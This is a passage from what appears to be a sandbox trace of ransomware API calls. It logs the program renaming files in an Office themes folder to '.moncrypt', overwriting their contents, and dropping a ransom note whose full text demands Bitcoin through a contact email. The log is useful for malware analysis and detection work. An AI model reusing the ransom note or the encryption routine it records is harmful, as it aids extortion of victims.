lpOverlapped=0x0) returned 1 [0050.897] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0050.898] CloseHandle (hObject=0x18c) returned 1 [0050.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.900] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0050.900] CloseHandle (hObject=0x18c) returned 1 [0050.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0050.901] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0050.901] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.901] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.901] GlobalUnlock (hMem=0x44000c) returned 0 [0050.901] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.901] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.901] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.901] GlobalUnlock (hMem=0x44000c) returned 0 [0050.901] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.901] GlobalUnlock (hMem=0x440004) returned 0 [0050.901] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.901] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69f88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0050.901] GetLastError () returned 0x2 [0050.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.903] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0050.904] CloseHandle (hObject=0x18c) returned 1 [0050.904] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0050.904] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.905] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.905] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.905] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.905] GlobalUnlock (hMem=0x440004) returned 0 [0050.905] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.905] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.905] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.905] GlobalUnlock (hMem=0x440004) returned 0 [0050.905] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.905] GlobalUnlock (hMem=0x44000c) returned 0 [0050.905] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.905] CharLowerBuffW (in: lpsz="BREEZE.INF", cchLength=0xa | out: lpsz="breeze.inf") returned 0xa [0050.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.906] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", cchWideChar=73, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF", lpUsedDefaultChar=0x0) returned 73 [0050.906] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0050.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\BREEZE\\BREEZE.INF", lpUsedDefaultChar=0x0) returned 4 [0050.906] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.906] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.906] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.906] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.906] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.906] GlobalUnlock (hMem=0x44000c) returned 0 [0050.906] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.906] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.906] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.906] GlobalUnlock (hMem=0x44000c) returned 0 [0050.906] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.906] GlobalUnlock (hMem=0x440004) returned 0 [0050.906] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.907] CharLowerBuffW (in: lpsz="PREVIEW.GIF", cchLength=0xb | out: lpsz="preview.gif") returned 0xb [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.907] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0050.907] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0050.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\BREEZE\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 4 [0050.907] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0050.907] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.907] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.907] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.907] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.907] GlobalUnlock (hMem=0x440004) returned 0 [0050.908] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.908] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.908] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.908] GlobalUnlock (hMem=0x440004) returned 0 [0050.908] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.908] GlobalUnlock (hMem=0x44000c) returned 0 [0050.908] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.908] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0050.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0050.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0050.909] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0050.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0050.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0050.909] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0050.909] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0050.909] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.909] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0050.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0050.910] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.moncrypt")) returned 1 [0050.911] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.911] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.911] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xa90c [0050.911] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0050.911] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0050.913] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.913] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.914] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.914] GlobalUnlock (hMem=0x440004) returned 0 [0050.914] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0050.914] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.914] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.914] GlobalUnlock (hMem=0x440004) returned 0 [0050.914] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.914] GlobalLock (hMem=0x440004) returned 0x55bb88 [0050.914] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.914] GlobalUnlock (hMem=0x44000c) returned 0 [0050.914] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0050.914] GlobalUnlock (hMem=0x440004) returned 0 [0050.914] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.914] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.914] GlobalUnlock (hMem=0x440004) returned 0 [0050.914] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0050.914] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.914] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.914] GlobalUnlock (hMem=0x440004) returned 0 [0050.914] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0050.914] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0050.914] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, 